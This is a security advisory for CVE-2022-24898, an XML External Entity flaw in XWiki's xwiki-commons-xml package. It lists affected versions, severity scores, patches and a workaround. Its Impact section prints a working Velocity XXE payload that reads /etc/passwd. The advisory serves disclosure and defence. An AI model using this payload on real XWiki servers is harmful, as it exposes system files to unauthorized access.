CVE-2022-24898 – org.xwiki.commons:xwiki-commons-xml
Package
Manager: maven
Name: org.xwiki.commons:xwiki-commons-xml
Vulnerable Version: >=2.7 <12.10.10 || >=13.0.0 <13.4.4 || >=13.5-rc-1 <13.8-rc-1
Severity
Level: Medium
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS: 0.00127 pctl0.32913
Details
Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml ### Impact It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service. For example: ``` {{velocity}} #set($xml=$services.get('xml')) #set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>") #set($doc=$xml.parse($xxe_payload)) $xml.serialize($doc) {{/velocity}} ``` ### Patches The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1. ### Workarounds There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights. ### References https://jira.xwiki.org/browse/XWIKI-18946 ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki](https://jira.xwiki.org) * Email us at [XWiki Security mailing-list](mailto:security@xwiki.org)
Metadata
Created: 2022-04-28T19:31:55Z
Modified: 2022-04-28T19:31:55Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/04/GHSA-m2r5-4w96-qxg5/GHSA-m2r5-4w96-qxg5.json
CWE IDs: ["CWE-611"]
Alternative ID: GHSA-m2r5-4w96-qxg5
Finding: F083
Auto approve: 1